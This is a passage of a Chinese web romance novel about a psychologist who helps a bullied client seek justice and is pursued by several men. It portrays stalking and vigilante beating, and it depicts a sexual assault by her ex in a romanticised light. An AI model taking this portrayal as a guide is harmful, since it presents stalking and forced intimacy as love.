看到他怀里抱着的一束浓粉玫瑰，鞠言顿时感到不妙，正想折回咨询室，陈归却已侧脸看到了她。 他立刻冲她一笑，喜滋滋地快步走过来：“这么巧？我本来还在打听呢。” 鞠言只能站停脚步，陈归走到她跟前，把手上的花递给她：“送你的。” 鞠言没有伸手接：“我的办公室没地方放，你送给别人吧。” “专门给你买的，怎么能送给别人呢，收下吧。”陈归把花束往她怀里塞。 鞠言不想和他过多纠缠，随便扯了个谎：“真的不能收，我有男朋友了。” 陈归看着她笑起来：“言言你骗我呢，再追你的机会都不给？” 鞠言微微蹙眉，直接道：“我跟你没有可能，还有，不要这么喊我。” 陈归略显惊讶，他瞄了眼四周，压低声音道：：“你不会还喜欢林今世吧？他现在都变成明星，你还是——” 鞠言有些恼火，不等他说完，便回过头朝咨询室喊了一声乔楠。 乔楠应声出来。 鞠言：“小楠，麻烦通知保安上来一趟。” “别别别，我放下花就走。”陈归忙道，他把花塞给一旁的乔楠，自己冲鞠言摆了下手： “我走了，名片上我的微信，你记得加我。”他指了指花上挂着的一张小卡片。 鞠言：“……” “鞠医生，这花怎么办？”等陈归走后，乔楠问鞠言道。 鞠言淡声道：“扔了吧。” 下午时分休息的间隙，贺思源走进了鞠言的咨询室，鞠言正低着脸坐在桌前写有关上一个来访者的咨询记录，仰起脸冲他浅浅一笑。 贺思源回以微笑，他和她闲聊了几句，而后似是随口问起： “鞠言姐姐，天天给你送花的人，是中午来的那一个吗？” “不是他。”鞠言摇了摇头，她虽然讨厌陈归，但也不会去冤枉他。 这是一个更像是穆晓菲会好奇的问题，鞠言稍感意外，于是便问： “是晓菲让你来问的吗？” “啊，”贺思源连忙否认，神色有点慌张：“不是不是，我随口问一下。” 安静几秒，他转移话题：“我最近天天晚上下班后都会去碧湖边骑自行车，鞠言姐姐，你要一起吗？那边过几天还有举办音乐节呢。” 鞠言和贺思源租的房子同在碧水区，两个人下班后有时会搭同一班地铁回家。 鞠言摇了摇头，笑道：“我下了班就只想赶紧躺到床上睡觉。” 看着她，贺思源也跟着笑了，端正的脸庞添了几分稚嫩：“我不运动一下睡不着。” 鞠言弯唇笑了笑- 鞠言今天咨询多，直到晚上9点才下班，贺思源今天排班少，傍晚就回去了，地铁上照旧没有空位，她牵着吊环站着都忍不住犯困。 从地铁站出来快9点半了，到所住的小区还要步行大约十几分钟，鞠言一边听着播客提神，一边走在回小区的路上。 临到小区门口，醇厚的夜色早已笼罩，门卫室值班的保安一如往常打着瞌睡。 鞠言打算今天不听歌了，回去冲个澡就赶紧睡觉。 正在心里想着，忽然有人从背后一下握住了她的手腕，鞠言吓了一跳，困意顿时全消。 看着鞠言一瞬间惊惶的表情，陈归笑道：“吓一跳吧！” 鞠言脸色有些发白，她挣开他的手，仰起脸瞪着他：“你跟踪我？不怕我报警吗！” 陈归笑嘻嘻的，显然没当一回事：“我刚结束加班，在地铁上看到你了，就跟你来了，想请你去吃宵夜。” 对于陈归跟踪自己这件事，鞠言反感极了，她眉心微蹙，拿出手机，输入了报警电话，还没拨出去，陈归忙一把握住了她的手机。 鞠言甩开他的手：“现在走。” 看她神情认真，不像是开玩笑的，陈归忙道：“别报警，别报警，我走就是了。” “要是下次再被我 发现你在跟踪我，我会毫不犹豫地报警把你抓起来！”鞠言警告道。 等陈归完全消失在了自己的视野范围内，鞠言才继续往自己所住的单元楼走。 鞠言几乎是三步一回头跑到楼上，在安静的房间内才发觉自己的心跳得非常快，她在原地站了一会儿，才去冰箱里拿了瓶冰水拧开了喝，待害怕的心绪平静了一些，便立刻开始在手机上挑起了可视门铃。 买好了可视门铃，鞠言才安心了一些。 她卸完妆，快速冲了个澡，就躺到了床上，明明累了一天，鞠言却仍旧睡不着，她有些出神，或许是因为今天碰到了陈归，竟让她罕见地想起了周孝明。 童钰也留在了清大念研究生，和周孝明同组，鞠言听她说起过，周孝明预备在研究生毕业后，继续赴美深造，或许以后会留在美国。 他和以前一样没有变- 在路灯没照到的暗处，陈归一边走着，一边在心里思索着该换什么其他的方式追求鞠言。 如果寻常的方式做不到的话，他不介意用些非法的手段。 反正这一回，他是一定要追到她的。 她可是如今最火的男明星念念不忘的前任，到时候带出去不知道有多长脸。 陈归想着想着有些兴奋起来，巴不得现在就向自己的那帮朋友去炫耀自己的女朋友是当红男明星忘不了的前任。 正喜滋滋的“自娱自乐”，忽然有人拽住了他的帽兜，一把将他拽到了地上，照着脸上就是一脚。 陈归“哎呦！”了一声，感觉到一颗牙齿被踹掉了，口腔中瞬间弥漫开一股浓郁的血腥味，他下意识蜷缩在地上，用双手捂着受伤的嘴。 对方没有再打他，男人冷冷的声音从上方传来： “你要是再敢来骚扰鞠言，我就把你的腿打断。” 他说着，踩在陈归身上的那只脚厌恶地碾了碾。 听到他的声音，陈归怔了下，点头如捣蒜，他含着血，含糊道：“知道了，林哥。” 男人移开脚，陈归顾不上背脊的疼痛，连忙爬起身来。 “还有，不要把有关鞠言的任何事说出去，不然，我不放过你。” “好的好的。“知道他家有权有势，陈归赶忙连声应答。 第59章 由于上回被陈归跟踪,鞠言这段时间都很注意安全，几乎每天傍晚都是和贺思源结伴坐地铁，不过陈归却再也没有出现过,鞠言也逐渐心安了一些。 今天下午最后一个咨询的来访者是陈叶。 乔楠推开门领着她进来，鞠言已经将近两个星期没见到她了。 上一次,陈叶的红发还长及后背，现在却只跟小男孩的差不多长,短发剪的参差不齐，不像是出自理发师之手。陈叶整个人的状态也显得疲惫不堪。 鞠言立刻意识到了不对，但仍是照例微笑问道：“这段时间过得怎么样？” 陈叶喃喃道：“糟糕极了,一塌糊涂。” “方便告诉我吗？”鞠言柔声问。 陈叶疲惫地闭了下眼睛，表示同意。 一星期前，陈叶偶然在社交平台看见了曾经霸凌过她的张希,虽然知道自己看了只会更难受，但陈叶还是不受控制地点进了张希的主页，病态地将张希所有的动态都浏览了一遍。 张希并没有得到所谓的报应,反而依旧生活的很幸福。读完了国内的本科后，张希和富二代男朋友周旭一起前往了巴黎留学,如今已然回国,和周旭定了婚的同时，还在清津拥有了一份体面的工作。 简单的几个词概括：事业有成,生活美满。 即使强迫自己褪掉了受伤的一整层外皮,陈叶也还在因为曾经的伤害痛苦不堪，甚至被一度折磨到影响生活，张希他们却早已像是忘记了这件事，看起来每天都生活的很幸福。 世界似乎不存在恶有恶报，这让陈叶难以接受。 但彻底让她崩溃的是在昨天早上,陈叶像往常那样痛苦又病态地浏览着张希的主页，发现她在凌晨的时候更新了一条几百字的文章。 大致内容是张希因为心疼一部反霸凌剧里的角色所遭受的欺凌而失眠。 陈叶在那一刻猛然意识到那些霸凌者甚至没有意识到自己曾经霸凌过别人。 她没有去上班，发疯似的剪自己的头发，在家里大吼大叫，甚至引得邻居联系了警察。 说完这些，陈叶停了下来，她靠在椅子像是失去了力气。 鞠言很希望她能哭出来，可是陈叶的眼眶干涸，整个人的灵魂也像是干涸了。 “你愤怒吗？”鞠言问道。 陈叶有气无力地答道：“我不知道。” 鞠言柔声道：“当痛苦的记忆再出现在你的脑海中时，你可以试着把对那些霸凌者的恨先发泄出来，这样或许可以让你在那个时候好受一点。” “要不要现在试试看？我会在这里陪着你。” “……” 沉默了一会儿，陈叶缓缓闭上眼睛，试着去回想，记忆中某一次耻辱的回忆在脑海中一闪而过。 中午的上课铃快响了，她脚步匆匆地走进教室，同学们的目光纷纷聚焦到了她的脸上。 陈叶不由自主地停下脚步，目光投向自己的课桌——那块鲜红如血淋淋的伤疤的丝绒小蛋糕还在哪里，下面的纸条也还在…… 陈叶的身体在一瞬间发起抖来，她转身逃跑，想把即将到来的羞辱甩开，可下一刻，她忽然出现在了课桌旁。 陈叶抬起眼，看到隔壁班那个同样被欺负的男生正一脸耻辱地从教室的前门冲进来。 时间在一瞬间变慢了，滞缓到让她可以看清班人每个人的表情，有期待、有鄙夷、有幸灾乐祸、有同情、有无奈、有漠不关心…… 陈叶转过脸看向始作俑者——周旭靠在椅子上，就等着观看她被羞辱的那一刻。 纠缠了她十几年的痛苦回忆，于他而言不过是消遣的取乐。 陈叶的身体发抖的愈发强烈，她喃喃自语道：“为什么要这么对我，就因为我长得不漂亮，性格不合群吗？” 陈叶咬紧唇，男生已经冲到她面前，从她手中夺走了那块蛋糕，她听到身后传来了一阵笑声，有男有女，交缠在一起，是她在无数个孤立无援的黑夜中反复听到过的。 陈叶全身冰凉，连身体剧烈的颤抖也不再感受得到。 或许，只有从这个恶心世界上消失掉才是保护自己最好的方式吧？ “不是的。” 一道温柔而有力的声音透过那些黑暗的声音传来，像是一只温暖的手牵住她： “你有感到愤怒的权利，有恨的权利。” 这一次，终于有人坚定地站在了她的身旁，一同面对。 在一片笑声中，陈叶从男生手中抢过蛋糕朝大笑着的周旭砸了过去，她带着哭腔嘶吼： “你们都给我去死！” 陈叶的吼声响到传出了咨询室，鞠言静静地望着她，陈叶哭得上气不接下气，持续了十几分钟，她才慢慢睁开眼睛。 咨询时间其实已经到了，鞠言并没有催促陈叶离开，她将抽纸递给她：“有没有让你舒服一点？” 陈叶接过纸巾，低声道：“我真想让他们受到应有的惩罚，可这些事情太丢人了。” “这段经历不是你的耻辱，而是那些伤害你的。”鞠言温柔道。 陈叶不自觉仰起脸望向她，目光相视，鞠言微微点了点头，她的眼睛里透出柔和而坚定的明光。 “如果你有需要，我可以帮你介绍律师。” “谢谢你。”陈叶缓缓站起身。 鞠言以微笑作答，表示没关系。 “你没受伤吧？”她忽然问。 陈叶怔了怔，没听懂似的抬眸望向她。 “剪头发的时候，有没有不小心把手划伤？” 陈叶的身体颤了一下，像个小孩子似的垂下头轻轻摇了摇：“没有弄到……” “那就好。” “……医生，我走了。”陈叶轻声道。 一直目送陈叶的背影彻底离开，鞠言才俯下身在桌子上趴着休息了一会儿。 要成为完美的心理咨询师或许要削弱自己的共情能力，可鞠言做不到。 她能确切地体会到陈叶的痛苦以及对这个世界的失望，一场咨询下来，虽然鞠言全程神色平静，可内心还是被陈叶的悲伤浸染了。 直到窗外的暮色下沉，鞠言才起身收拾东西准备下班- 傍晚19:20分，地铁照旧人挤人，鞠言把位置让给了一名背着 大书包的学生，自己靠在车壁上，从口袋中拿出耳机戴上。 在人群中有一道熟悉的身影。 是陈叶，她站在靠近地铁门的位置，并没有看见鞠言。 咨询师私下不宜与来访者产生过多的交集，鞠言没有主动过去和她打招呼，只是悄悄注意着她的情绪。 陈叶一只手牵着上方的扶手，目光呆呆地凝视着空气，脸上的妆已经补好了，黑色的狐狸眼线往上飞挑。 因为头发被剪得一塌糊涂，她戴了一顶黑色的冷帽，只露出一点红色的发角，比平时看起来更不好惹。 地铁门打开，一个左手臂上打着石膏的女学生随着人潮挤了车内。 她朝陈叶瞄了一眼，似乎有些害怕她，稍稍站的离远了一些，注意到自己的鞋带散了，女学生下意识蹲下身想去重新系上，可她的惯用手打着石膏，一只手没办法系好，牵着鞋带踌躇了片刻，只能塞进了鞋子里。 陈叶垂眸看了一眼，随后将包往背上挎了挎，蹲下身去，替女学生系好了鞋带。 她顺带将她的另一只鞋带也重新系了一遍，避免再发生这种情况，随后才站起身。 女学生有些意外，小声对她道了谢。 陈叶没有说话，眼神疲倦地摇了摇头表示不客气。 看着这个浑身伤痕却依旧愿意向别人释放善意的女孩儿，鞠言的眼眶有些发涩，忙别开了眼不再去看- 陈叶回到家，顾不上换衣服，径直跑向了自己的卧室，高中一转学，她就换掉了她的手机，这只承载了无数恶意的手机在当时的她眼中仿佛就是带有病毒的瘟疫。 陈叶跪在地上，像是扫荡似的匆忙将装有旧手机的鞋盒从床底下翻出来。 她揭开积满了灰尘的盖子，一只破旧的白色手机出现在眼前。 陈叶的呼吸顿时有些艰难，残破的手机仿佛是她不堪的高一生涯的缩影。 她跪在地上一动不动，这只手机静静地躺在黑暗的床底等待了她12年，等待她做出决定。 陈叶却有一些犹豫。 报仇固然痛快，可也意味着会被报复，张希的男朋友周旭家里有钱有势，要报复她轻而易举。 自己已经痛苦了那么多年了，再为他们付出精力和代价，是不是太不值得了？ 薄暮的夕阳透过窗照在她的身上，把空气浮动的细小尘埃也照了出来。 陈叶忽然觉得很累，累极了。 算了吧。 她慢慢拾起盒盖想重新盖上，就在这时，她的余光忽然看到了一个穿着校服的女孩的背影。 陈叶一顿，缓缓转头朝她望了过去。 女孩站在窗边，窗外的晚景美丽而宁静，女孩想的却是要不要等到凌晨的时间再跳下去，以免误伤到其他人。 陈叶的眼中一瞬间涌出泪，她抓起手机，手脚并用地从地上爬起来，扑到床边的充电口旁将插头插入手机充电口。 她发觉自己的身体在不受控地激烈地发抖，是因为太过担心手机会坏掉导致的。 在这一刻陈叶才猛然发觉自己的内心深处是多么的想要让那些人付出代价。 第60章 在充了整整一天的电后,手机打开了。 陈叶在周旭早已不用的□□空间里，找到了以前张希她们一群人轮流扇她耳光的视频，以及霸凌团体曾经发送给她的辱骂短信。 第二天,鞠言收到了陈叶的短信，她告诉她,自己打算把过去那些事情说出来，麻烦鞠言帮她介绍律师。 鞠言立刻着手帮她联系了就在清津令合律师事务所工作的关鸥,在关鸥的帮助下，陈叶给张希所在的单位的邮箱发去了这段视频以及举报信。 由于面临被辞退的危险，张希很快就联系了陈叶。 十二年了,陈叶终于等到了张希的道歉。 陈叶没有接受，张希因此被单位给开除了。 鞠言很替她高兴，可事情到这里并没有结束。 陈叶在三天后的一场咨询中告诉鞠言,张希的男友周旭扬言一定会报复她，还给她发了一篇辱骂短信，陈叶拿给鞠言看了一眼,通篇都是侮辱性的词汇。 最后一句是：【你敢找我女朋友的事，我会让你身败名裂！等着吧！】 “你打算怎么处理？”鞠言询问陈叶。 陈叶不屑而又病态地笑了一下：“我打算天天都带把刀在身上,他要是敢来我就和他同归于尽。” “……为了这种人配上自己的人生并不值得,把这些事情交给警察处理好吗？”鞠言柔声问，“他发给你的那些聊天记录还在吗？” 陈叶点了点头。 “这些都是他威胁你的证据。” 在鞠言的建议下,陈叶最终决定报警。 “下次见。”陈叶将挎包背到肩上。 鞠言回以浅笑：“下次见。” 望着陈叶疲倦不堪的背影,鞠言纠结极了，理论上，她不应该在私底下与陈叶有接触，可是陈叶今天的精神状态实在不好，又没有亲人朋友在清津,报警流程又比较繁琐，让她独自一人去派出所很有可能会加剧她的心理压力，鞠言也害怕她在路上会遇到危险。 陈叶刚走到门口，鞠言忽然喊住了她。 陈叶回过头：“怎么了？” 鞠言已经从沙发上站起来了，她披上外套，走到陈叶身旁： “我陪你一起去。” 鞠言陪着陈叶下楼，车是提前打的，已经等在楼下了。 两人一起坐上后座，车子静静行驶了一段路，陈叶忽然倾斜身体，轻轻将头靠到了鞠言的肩膀上。 鞠言顿了下，保持着原来的姿势没有动。 “鞠医生，我们是朋友吧？”陈叶低声问。 “当然。” …… 鞠言陪着陈叶在就近的辖区派出所报了警，因为手机里有周旭发过来的威胁短信，警方很快便传唤了他，等了一个小时左右，鞠言见到了周旭。 周旭卷发，身高一米八左右，穿着一身的奢侈品。 时隔多年，再次见到曾经的霸凌者，陈叶的身体控制不住地微微发颤，鞠言在桌下伸手过去牵住了她的手。 陈叶的变化太大，周旭一下子并没有认出她，他的目光在鞠言和陈叶的身上来回打量了好一会儿，这才确定了哪一个是陈叶。 周旭嗤地冷笑了一声：“你整容了？” 一旁的民警板起脸：“不要说和今天的事无关的话。” 周旭不爽地用舌头顶了下腮。 在民警的要求下，她们和周旭一块儿来到了调解室，两名民警坐在对中，周旭坐在她们的对面。 “为了这么点事儿，至于吗？你们可真够无聊的。”周旭靠在椅子上，一副不以为然的样子。 鞠言冷声道：“欺凌同学的人不仅无聊而且无耻。” 周旭蹙了下眉，用不善的眼神打量着鞠言： “她这样的人还能有朋友？” 民警再次板着脸道：“不要说无关的事情。” 周旭不耐烦：“反正我是不会道歉的，说吧，你们要多少钱。” 鞠言感觉到陈叶的手发抖得更厉害了。 陈叶苍白的嘴唇微微发颤：“我不要钱，我要让你坐牢！” “坐牢？”周旭再次轻蔑地笑起来：“我犯什么罪了？” 鞠言被眼前的男人蠢到了，她平静道：“你已经违反《违法治安管理法》了。” 在去警局的路上，鞠言先给关鸥打了电话，关鸥在这会儿已经赶到了，她身穿黑色风衣，阔步走进调解室。 即使看到她们真的请了律师，周旭也仍旧不肯道歉，只愿意多赔偿一些费用，但听到真的会被拘留，他脸上的无所畏惧才终于松懈了，不情不愿地打算和解。 “对不起，可以了吧。” 民警看向陈叶，试着调解：“他道歉了，你愿意原谅他吗？” 陈叶搁在膝盖上的手攥紧了，片刻后，她低声道：“我不想原谅他。” “啧！我都道歉了你还想怎么样？”周旭恼起来。 其中一名老民警显然对这场调解没什么耐心，只想快点结束工作，他微微蹙起了眉：“是啊，小姑娘，退一步海阔天空，再说了你们两个又是老同学，以后同学会还要见面的，闹太难看不好，听叔叔的，和解吧。” “麻烦您不要替她做决定。”鞠言看向他道。 她侧过身面向发抖的陈叶，看着她，认真而温柔地说道： “你可以选择不原谅，永远不原谅也没关系，不用委屈自己。” “……”陈叶深吸了口气，而后抬眼直视周旭的眼睛：“我不会原谅你的，你的钱我也一分都不要。” 老民警还想再劝劝：“以和为——” 关鸥不客气地打断他：“陈女士已经做出决定了。” 最后，周旭因为违反了《违法治安管理法》被拘留3天。 陈叶出了警察局后仍旧哭的很厉害，鞠言陪她坐在附近的公共木质椅子上，轻轻拍着她颤抖的肩膀。 “没事了，都已经过去了。” 关鸥插兜站在一旁，傍晚的风有些凉意，她脱下自己的风衣外套递给鞠言。 鞠言接过，替陈叶披上。 陈叶仰起脸看她： “鞠医生，谢谢你。” 鞠言弯唇：“我们是朋友，不用说谢谢。” 和陈叶分开后，鞠言坚持请这一次帮了大忙的关鸥去吃了法餐。 第二天，再见督导时，鞠言被狠狠地批评了一顿，但想到能帮助陈叶走出阴影，她的心情还是好极了- 今天是约好去李景显那听唱片的日子，鞠言下班后先回家洗了个澡，时间还早，她吹干头发，悠闲地赤着脚走到衣橱前挑起了出门要穿的衣服。 窗开着，风吹得白窗纱扑扑舞着，选了一会儿，鞠言纤白的手指移到一条蓝色吊带裙前，这条裙子买来还一直没穿过，今天的温度穿它正合适。 鞠言没有化妆，只戴了副蝴蝶耳坠，随后便在手机上打了辆车，挽上包下了楼。 一出小区，却瞧见门口停着一辆黑色的曜影，李景显一条手臂搁在车窗上，正低头看着手机。经过的路人不时朝车和车内的人好奇地瞥一眼。 鞠言怔了下，他没有跟她说过会来接她，应该是怕她不好意思让他等，会匆匆忙忙。 李景显扭过头来望见了她，本想冲她笑笑，眼中却先一闪而过了惊艳。 鞠言被他的眼神看得有些不好意思，低下脸，抬手抿了下耳边的碎发。 李景显翩翩走下车来，代为打开副驾驶的车门。 鞠言边坐上车，边对他说了声“谢谢”。 李景显关上车门绕回驾驶座，他坐上车，俯过身来想替她系安全带。 “我自己来就好。”鞠言忙道。 李景显笑笑坐回去，等她将安全带系好了，才把车子发动。 “其实你不用那么客气的，我自己打车就可以了。”鞠言边低头在手机上把打的车取消了，边不好意思地说道。 “你总是跟我陌生，咱们两个还说什么客不客气。”李景显打转方向盘：“再不然你就当是我接了你的单。” 他侧过头望了她一眼笑道： “你今天那么美，就是给我的车费了。我还要给你找钱呢。” 鞠言：“你好夸张……” 到了位于高级住宅区的独栋别墅，女佣打开门，请她进去。 唱片机就摆在二楼客厅的落地窗旁，边上的一面横格书架上竖放着的一张张崭新的唱片。 鞠言垂眸浏览了一遍，惊觉李景显的品味竟和她十分相似，而且书架上还有一张她一直很喜欢的一部电影里的一首插曲的原声限量蓝胶。 这张胶片全球限产几千张，蓝宝石一样的色泽，单独摆放在窗边，胶片的蓝影映在玻璃上，像是一轮淡蓝的月影。 鞠言激动之余不由得俯身细细地看，看到她眼中喜爱的神色，李景显很惊讶的样子：“你也喜欢《MyExistence》吗？” “嗯，这是我最喜欢的一首纯音乐了。” 李景显走近，伸手拿起胶片，正想拆封套，鞠言止住他： “你不是说还有一个朋友吗？不等他一起吗？” “他放我鸽子了，还好你没有。”李景显笑道，他将那张胶片轻轻安到唱片机上。 “……”鞠言有些无奈他的小把戏。 李景显打开开关，唱片悠然旋转，唱臂下沁出《MyExistence》浪漫而清冷的旋律。 他从酒柜中取出一瓶红酒，启开盖子，斟了一杯递给她，鞠言不喜欢喝酒，只礼貌性地抿了一点。 她将酒杯搁到桌上，一只手扶在桌边，微倚着，随着音乐声，鞠言闭上眼，什么也不想，只静静地听着。 李景显倚靠在她斜对面的位置，他握着酒杯静静地望着她——鞠言身上清澈的水蓝色丝绸吊带裙让他想起了扎金索斯的海，动作时牵起的衣褶就是水的涟漪。 一曲结束，李景显柔声道：“我真喜欢看你穿这些淡颜色的衣服。” 鞠言不知该如何作答，只是微微笑了笑。 连听了好几遍，鞠言才舍得换唱片，时间过去了快有一个小时，李景显把酒杯放到桌上，忽然说道： “我有东西送你。” 他朝衣帽间走去，片刻不到，捧着一只黑色的鞋盒回到了鞠言面前。 看到上面的香奈儿标志，鞠言不等他打开便赶忙婉拒道：“这太贵重了，我不能收。” “你只要收下，就是我倒欠你了。”李景显单膝跪到地上，揭开盖子把鞋子从鞋盒内拿出来。 是一双精美的粉缎高跟鞋，鞋后缀着一只满嵌碎钻的金色蝴蝶结。 鞠言还想拒绝，李景显已不由分说地用一只手托起她的脚踝，轻轻把鞋袜脱了下来，将鞋子套到了她的脚上。 在粉与金的衬托下，她优美的足更显得雪白。 李景显垂眸看着，情不自禁地俯下脸去在她的脚背上轻轻一吻。 那酥痒的感受让鞠言的脚不受控地轻颤了下，她尴尬地缩回脚，伸手想将鞋子脱下来。 李景显按住她的手：“我没有其她人可以送了，你不要的话，只能拿回精品店退了，那太难为情了，你就当帮个忙。” 鞠言拿起手机：“我把钱转你。” 李景显忍不住笑了一声，无奈地看着她：“你这是不肯帮忙。” “不然我真的不能收。” “我给你买奢侈品还硬让你收下是我不对，下次不会了，你这一回就念我是初犯，收下吧。” “景显，你别为难我了，我真的不能收。” “……”李景显一只手按在下巴上，思忖了片刻，道：“我的生日在2月13，你到时候随便送我个什么，你看这样好不好？”他笑起来，“别送等价的，就当给我教训。” “那好吧……” 李景显托起鞠言的另一只脚，跟之前一样替她换鞋，鞠言忙道：“我自己来就可以了。” 但李景显已经行云流水地脱下了她的鞋子，将另一只高跟鞋替她套上了，他的目光在触到鞠言这只脚踝上系的那条红绳脚链时顿了一下。 未经询问，他便擅自解了下来，李景显把脚链揣进兜里，风流一笑：“这个归我了。” “别闹了，快还给我。”鞠言连忙伸手去抢。 李景显笑嘻嘻地站起身躲着不让。 “李景显！”鞠言急起来，她立起身去抢，高跟鞋她不穿惯，一下子站起来又没注意，鞠言脚一崴没站稳，人往后仰跌了出去，李景显连忙上前一步扶住了她。 他怔了怔，顺势将她搂进了怀里。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 60-70 第61章 点儿都不想要我…… 鞠言本能地仰起脸望了他一眼,李景显垂视她的目光中有缱绻。 唱片机还在悠悠播放着音乐，气氛已经暧昧到了极点，鞠言怕他要吻她,立刻将他推开。 她偏开脸，咬着唇有点生气：“李总,再不还我，我真的要生气了。” 李景显两手抄进裤兜里,眯眼笑道：“谁送你的？这么宝贝。” “是我妈妈送的生日礼物。”鞠言仍旧不看他，只是伸出手：可以还给我了吗？” “你刚刚不是说要送我东西吗？就拿这个换吧。”李景显没有要还给她的意思。 看着他这副耍赖的模样，鞠言真的生气了,她一言不发地换下鞋子，拿起自己的包便走。 李景显愣了下，追上来拉住她的手：“别生气,我只是想要和你有关的东西。” 李景显一直以来都像是风流浪子，所以他有时对她表现出有些暧昧的缱绻鞠言都只觉是玩笑，没想到他真的会对自己有意思。 鞠言犹豫了一下,道：“景显，我一直以来对你的感觉都只是朋友,你别在我身上浪费时间了……” “……”李景显安静了片刻：“我知道你对我没意思,但我也知道你想摆脱林今世的纠缠是不是？” 鞠言没想到他会提起林今世，一时说不出话。 李景显的语气波澜不惊：“你还喜欢他,对吧？” 深藏心底的秘密被点破,鞠言一时有些失措：“我……” “要不要把我当成你的药试试看？”李景显温柔地望着她眼睛，“让我来帮你忘记他。” 鞠言沉默了一会儿，轻声说：“但是那样太对不起你了。” 李景显笑起来：“哪有，我被家里催得烦死了，和你交往也正好可以让我交代的过去,就当是相互帮忙，只要你想要结束，随时都可以。” 鞠言安静了好一阵，还是摇了摇头：“景显，我们还是做朋友吧。” “……”李景显叹了口气，随后说道：“让我送你回去吧，就当是今天唐突行为的赔罪。” 黑色曜影飞驰在夜色笼罩的公路上，鞠言望着车窗出神，李景显也只偶尔说几句话，车内静悄悄的，不似来时那般轻松。 车子驶进小区，在鞠言所属的单元楼前减速停下。 鞠言边解安全带，边打开车门： “谢谢你送我回来。” “今天冒犯你了，抱歉。”李景显探身到副驾驶，隔着降下的车窗对鞠言道。 鞠言朝李景显浅浅一笑表示没关系，她向她摊开手，“把脚链还我吧。” 李景显伸手去摸西装口袋，片刻后他轻轻“哎呀”了一声，“我好像不小心弄丢了。” “骗人。”鞠言根本不信。 “骗你干什么？”李景显笑，“不信你自己伸手来摸摸我的口袋。” 鞠言无奈道：“别闹了，快还我……” 李景显又装模作样地四下找了找，最后还是委屈地看着她：“好像真的丢了。” “……”鞠言拿他没办法，又不能真的动手去搜他的身，只好先算了。 “那你找到了记得还我。” “我赔你一条吧。”李景显挑唇。 鞠言摇了摇头：“不用了……” “那好吧，我明天把鞋子拿来给你。” 鞠言坚持道：“那双鞋子我真的不能收，太贵重了。” “那条脚链应该更贵重，不是妈妈送的吗？弄丢了我真的很内疚。就当是让我稍作补偿好吗？” “不用了，你找到还给我就行了。” “好好好。”李景显笑了。 他垂眸看了眼表，而后冲鞠言一笑：“我先回去了，你快上去吧。” “……再见。” 李景显：“早点休息，晚安。”- 鞠言乘电梯上楼，到了家门口，她从包中取出钥匙，打开门进去，刚想把门关上，忽然有人扳住了门。 鞠言浑身一热，猛地回过头，对方已经从门外进来了，由于她还没来得及开灯，屋内一片昏暗，对方的身上也笼着一层冷冷的阴影。 鞠言觉得林今世在做罪犯这一方面已经越来越熟练了，她有些生气，一边伸手试图将他往外推，一边质问道： “你跟踪我？” 林今世纹丝不动，他一手关上门，声音低而寒： “你的工作已经转正了，我想来找你谈谈，结果在楼上看到他送你回来。” 林今世的手不自觉地握成了拳，“没来得及下去杀了他。” 鞠言更加来气了，她仰起脸盯着他的眼睛： “我和你什么关系都没有，我做任何事也和你没有任何关系，请你以后不要再来打扰我了。” 这句话似乎让林今世很受刺激，他盯着她，呼吸明显重了几分。 “不可能。”他开口的声音像是从牙缝中硬生生挤出来的。 鞠言寒着脸将门重新打开：“请你出去。” “……” 林今世站着没动，等了一会儿，鞠言冷声重复了一遍：“请你出去。” 林今世还是没反应，鞠言伸手试着将他向外推，却蓦地被抓住了双手，她还没来得及挣扯，就被林今世一把扛到了肩膀上。 鞠言不断用拳头打着他的后背，林今世没反应，顾自扛着她朝卧室走。 第62章 卧室门关着,林今世一脚踢开，将鞠言丢到了床上，她连忙想起身逃,但他已欺身压了上来，用宽阔的肩膀与有力的手臂囚住了她。 “你是我的！知不知道！”林今世冲她咆哮。 鞠言从没听到过他这么大声的说话,不禁颤抖了一下。 几乎零距离，林今世一定能感觉得到,但他 没有像以往那样柔声对她说“别怕。”而是直接将脸埋进了她的脖肩。 鞠言忍着酥痒，两手推着他的肩膀，试图将他从自己身上推开,可林今世的力气大得吓人，完全推不动。 伴随着鞠言的一声惊叫，在半黑暗中,白雪地上显现出了一只蝴蝶。 林今世的喉头发紧，手伸到她背后，费劲地解开扣子,他将那只蝴蝶随手丢了出去，而后俯下脸。 鞠言浑身一阵颤栗,激烈地反抗起来,双腿用力地踹他，林今世没有一点反应,他握住她的一只腿腕往自己的方向一拖。 她全身迅速滚烫,鞠言微微喘着气，立刻想远离他的身体，却被他掐住了腰，不让向后逃。 “不行！不行！”鞠言急道，“你真的这么做,我一定会恨你！” “反正你怎么样都不会原谅我，恨我就恨我吧。”林今世冷声说。 炙热的吻落到了鞠言的脸上，她感受到了他修长骨感的手指，难以控制地呻｜吟了一声。 鞠言拼命想抵抗，可力量太过悬殊，黑暗中，她的眼角生出点点泪水。 看到她湿莹的眼中有深深的恐惧，林今世的动作停下，冷戾的眼神也渐渐软下来。 虽然极度不甘心。他还是选择了尊重她。 林今世咬了咬唇，压住自己的欲望，随后扯过自己的外套想替她披上。 鞠言挣开他，伸手抓过自己的衣服想穿。 林今世看她似乎想离开，立刻又搂住她的腰，猛然束回自己怀里，鞠言拼命挣扎，两只手对着他劈头盖脸地乱扇乱打。 她打的极用力，自己手掌都一阵阵反痛，林今世却像是不觉，他将她揿到自己怀里紧紧箍住，一只手摁在她光裸的背心上，掌心感 受到了她纤薄的肩背后微微凸起的蝴蝶骨。 林今世的手大，完全盖住了她的腰。 鞠言又狠咬他的肩膀，牙尖刺破皮肤，林今世低哼了一声，搂她更紧了些，几乎像是想她整个人嵌进自己身体里 鞠言心里一痛，不忍心再咬了，只道：“放开我。” “不可能。” 林今世的语气一如既往的淡，却透出一股坚决。 “让我把衣服穿上。”鞠言的语气平静了一些，但仍是喘息微微。 僵持了一会儿，林今世伸手捞了她的衣服过来，想替她穿上。 鞠言将衣服夺了过来，才刚穿好，林今世立刻又将她紧箍到了怀里。 他低下脸将下巴颏垫在她的锁骨上，她戴的耳环凉丝丝的擦在他的脸颊上，林今世略偏过脸瞥了一眼。 莹白的耳垂上悬着水蓝色的蝴蝶耳环，长长的银色流苏伴着几缕发丝直坠到纤长的颈侧，在昏暗的房间中微微闪亮。 “……” 林今世入迷地瞧着，眼中原先的偏执与冷戾被柔意取代，他侧过脸，鞠言的脖颈的感受到了他的鼻息触到所带来的酥痒。 她不由得缩了下肩膀，林今世以为她又是想跑，占有性地搂紧了些。 “疼！”鞠言轻声道。 